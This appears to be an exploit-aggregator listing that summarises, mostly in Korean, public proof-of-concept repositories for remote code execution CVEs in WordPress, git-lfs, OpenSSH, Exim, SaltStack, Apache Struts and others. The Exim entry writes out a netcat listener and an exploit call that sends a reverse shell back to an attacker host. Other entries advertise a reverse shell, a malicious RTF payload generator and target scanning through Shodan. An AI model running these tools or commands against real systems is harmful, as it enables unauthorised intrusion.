CVE-2016-10033

WordPress 4.6 - 원격 코드 실행 RCE PoC 익스플로잇 CVE-2016-10033...

git-lfs-RCE-exploit-CVE-2020-27955

Git-lfs 원격 코드 실행RCE 익스플로잇 CVE-2020-27955 .bat / powershell 버전 취약 대상: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken 등 발견자: Dawid Golunski https://legalhackers.com https://exploitbox.io Windows에서 테스트됨: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code,...

CVE-2023-21823

CVE-2023-21823 Reverse Shell for Windows 이 저장소는 Windows 운영체제를 위한 리버스 셸을 구현한 C 코드를 포함하고 있습니다. 리버스 셸을 사용하면 명령줄을 통해 원격 시스템을 제어할 수 있으며, 감염된 머신에서 명령을 실행할 수 있습니다. 중요 이 코드를 불법적인 목적으로 사용하거나 시스템 소유자의 허가 없이 사용하는 것은 불법이며 윤리적 원칙에 위배됩니다. 이 코드는 교육 및 연구 목적으로만 제공됩니다. 빌드 프로젝트를 빌드하려면 MinGW 또는 Microsoft Visual...

CVE-2017-0199

Exploit toolkit CVE-2017-0199 - v2.0 Exploit toolkit CVE-2017-0199 - v2.0은 Microsoft RTF RCE를 빠르고 효과적으로 익스플로잇할 수 있는 편리한 파이썬 스크립트입니다. 복잡한 설정 없이 악성 RTF 파일을 생성하고 metasploit/meterpreter 페이로드를 피해자에게 전달할 수 있습니다. 비디오 튜토리얼 https://youtu.be/42LjG7bAvpg 릴리스 노트: 스크립트에 다음과 같은 기능이 도입되었습니다 root@kitploit: - 툴킷을...

CVE-2024-24919---Poc

CVE-2024-24919 PoC CVE-2024-24919의 개념 증명 자세히 보기 - https://nvd.nist.gov/vuln/detail/CVE-2024-24919 이 취약점은 인증되지 않은 원격 공격자가 영향을 받는 어플라이언스에 있는 임의 파일의 내용을 읽을 수 있게 합니다. 설명 이를 통해 공격자는 인터넷에 연결되어 있고 원격 액세스 VPN 또는 모바일 액세스 소프트웨어 블레이드가 활성화된 Check Point Security Gateway에서 특정 정보를 읽을 수 있습니다. Nuclei 템플릿:...

CVE-2012-1723

CVE-2012-1723을 악용한 원격 코드 실행 웹 브라우저 드라이브 바이 공격. 워크스루 및 기술적 세부사항은 다음에서 확인할 수 있습니다. https://ethaniel.me/2017/02/09/practice-the-past-cve-2012-1723/...

Strutter

Strutter CVE-2018-11776에 대한 개념 증명Proof of Concept이며, Shodan API를 검색하여 대상을 찾는 기능을 포함합니다. CVE-2018-11776 Apache Struts 버전 2.3 2.3.34 및 2.5 2.5.16은 네임스페이스가 없는 결과를 사용하고 동시에 상위 액션에 네임스페이스가 없거나 와일드카드 네임스페이스가 있는 경우 원격 코드 실행이 발생할 수 있습니다. value와 action이 설정되지 않은 url 태그를 사용하고 동시에 상위 액션에 네임스페이스가 없거나 와일드카드...

ingressNightmare-CVE-2025-1974-exps

Ingress Nightmare CVE-2025-1907 설명 이 취약점은 원격 공격자가 kubernetes/ingress-nginx의 영향을 받는 설치에서 임의 코드를 실행할 수 있도록 합니다. 이 취약점을 악용하기 위해 인증이 필요하지 않습니다. 특정 결함은 HTTP 요청 처리에 존재합니다. 이 취약점은 두 개의 요청을 보내서 트리거됩니다. 하나는 동일한 포드에 있는 NGINX 서버로 보내는 긴 버퍼링된 요청이며, nginx는 이를 임시 파일로 캐시합니다. 두 번째 요청은 admission validating webhook...

CVE-2022-2185

CVE-2022-2185 wo ee cve-2022-2185 gitlab 인증된 RCE 참고: https://starlabs.sg/blog/2022/07-gitlab-project-import-rce-analysis-cve-2022-2185/ 사용 방법 먼저 gitlab 인스턴스를 생성합니다. 로그인한 후 고유한 이름으로 그룹과 프로젝트를 생성합니다. 액세스 토큰을 생성합니다. main.go에서 다음 줄을 편집하고 컴파일합니다: root@kitploit: const importProjectName = "projectwtf"...

CVE-2019-15107-RCE-WebMin

Webmin CVE-2019-15107 탐지 Webmin 버전을 식별fingerprint하여 1.882 ≤ 버전 ≤ 1.920 을 실행하는 모든 서버를 CVE-2019-15107에 잠재적으로 취약한 것으로 표시하는 경량 Python 스크립트입니다. 이 도구는 취약점을 악용하지 않으며 —단지 보고만 합니다. 사전 요구 사항 Git Python 3.7+ Docker & Docker Compose 저장소 구조 root@kitploit: your-project/ ├── detectwebmincve201915107.py ├──...

CVE-2019-7214

CVE-2019-7214 root@kitploit: Exploit Title: SmarterMail...

CVE-2019-17564-FastJson-Gadget

CVE-2019-17564 FastJson + SpringFramework Gadget for Dubbo 2.7.3 전체 분석 글은 https://www.checkmarx.com/blog/apache-dubbo-unauthenticated-remote-code-execution-vulnerability 에서 확인할 수 있습니다. 참고: 이것은 익스플로잇이 아닙니다 ; 특정 의존성을 포함하는 범위에서 역직렬화를 시연하는 데 사용되는 POC 가젯 체인입니다. 개요 Apache Dubbo의 CVE-2019-17564를 익스플로잇하는...

CVE-2020-11651

CVE-2020-11651 SaltStack CVE-2020-11651 및 CVE-2020-11652를 악용하여 /etc/passwd 및 /etc/shadow에 항목을 주입함으로써 취약한 Salt 마스터에 새 사용자를 추가하는 스크립트입니다. root@kitploit: Exploit Title: Saltstack 3000.1 - Remote Code Execution Date: 2020-05-04 Orignal Exploit Author: Jasper Lievisse Adriaanse Modified Author: Drew...

CVE-2022-34169

CVE-2022-34169 PoC SUCTF 2025의 SUpwn 챌린지를 위한 유연한 PoC 및 솔루션입니다. 원래 발견자Felix Wilhelm의 이 issue와 이 블로그 게시물thanat0s을 기반으로 합니다. 기존에 공개된 PoC들만큼 하드코딩된 상수에 의존하지 않으려고 합니다. 다른 자바 바이트코드 페이로드를 전달하려면예: 일부 WAF 우회 RCE.java만 편집하면 됩니다. 그렇지 않으면 RCE 명령은 CVE-2022-34169.py 상단에 있습니다. web.jar는 SUpwn에서 제공된 파일입니다. 설정...

cve-2024-6387-poc

cve-2024-6387-poc OpenSSH 서버sshd의 시그널 핸들러 경쟁 상태 7etsuo 설명 CVE-2024-6387에 대한 익스플로잇으로, glibc 기반 Linux 시스템에서 OpenSSH 서버sshd의 시그널 핸들러 경쟁 상태를 대상으로 합니다. 이 취약점은 SIGALRM 핸들러에서 async-signal-unsafe 함수가 호출되어 루트 권한으로 원격 코드 실행을 가능하게 합니다. 익스플로잇 상세 취약점 요약 이 익스플로잇은 OpenSSH의 sshd에 있는 SIGALRM 핸들러 경쟁 상태를 대상으로 합니다:...

cve-2022-42889-text4shell

Mavenのインストール - maven-linux 1. fat jarを作成するためにMavenをインストール root@kitploit: mvn clean install 2. Dockerビルド root@kitploit: docker build --tag=text4shell . 3. Dockerの実行 root@kitploit: docker run -p 80:8080 text4shell 4. アプリをテスト root@kitploit: http://localhost/text4shell/attack?search= 5...

CVE-2019-10149

CVE-2019-10149 CVE-2019-10149 : Exim 4.874.91포함 버전에서 결함이 발견되었습니다. /src/deliver.c의 delivermessage 함수에서 수신자 주소를 잘못 검증하면 원격 명령 실행으로 이어질 수 있습니다. 예제 root@kitploit: nc -lvp 9000 python ./CVE-2019-10149/exploit.py --rhost example.com --rport 25 --lhost 10.10.10.100 --lport 9000...

cve-2022-42889-text4shell

Maven 설치 - maven-linux 1. fat jar를 생성하기 위해 Maven install을 실행합니다. root@kitploit: mvn clean install 2. Docker 빌드 root@kitploit: docker build --tag=text4shell . 3. Docker 실행 root@kitploit: docker run -p 80:8080 text4shell 4. 앱 테스트 root@kitploit: http://localhost/text4shell/attack?search= 5. 공격은 앞서 언...

CVE-2018-1335

CVE-2018-1335 apache Tika-server 1.18 미만 버전의 RCE원격 코드 실행 취약점 명령어: sudo bash install.sh python2 exploit.py...

CVE-2020-27955-LFS

Git-lfs 원격 코드 실행 RCE 익스플로잇 CVE-2020-27955 .bat / powershell 버전 취약 대상: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken 등 Dawid Golunski 가 발견함 https://legalhackers.com https://exploitbox.io Windows에서 테스트 완료: git, GitHub CLI gh, GitHub Desktop, Visual Studio...